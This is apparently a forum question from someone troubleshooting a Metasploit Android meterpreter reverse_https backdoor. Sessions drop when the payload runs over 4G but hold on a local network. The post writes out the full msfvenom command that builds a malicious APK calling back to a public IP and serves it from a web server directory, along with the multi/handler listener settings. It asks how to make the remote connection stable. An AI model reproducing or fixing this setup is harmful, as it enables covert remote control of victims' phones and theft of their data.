Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN it works fine. So what is the problem? (The phone I'm testing the payload is using 4G connection)
When I create the payload I use:
msfvenom -p android/meterpreter/reverse_https LPORT=4444 LHOST=<public_ip> -o /var/www/html/payload.apk.
On metasploit I use:
use exploit/multi/handler set payload android/meterpreter/reverse_https set lport 4444 set lhost local ip set luri / set ExitOnSession false set SessionCommunicationTimeout 0 set SessionExpirationTimeout 0 exploit -j
After all this a connection is established but then closed. And sometimes when I create a new handler it creates infinite sessions for the same target, it just keeps creating them until I close the console, can someone help me?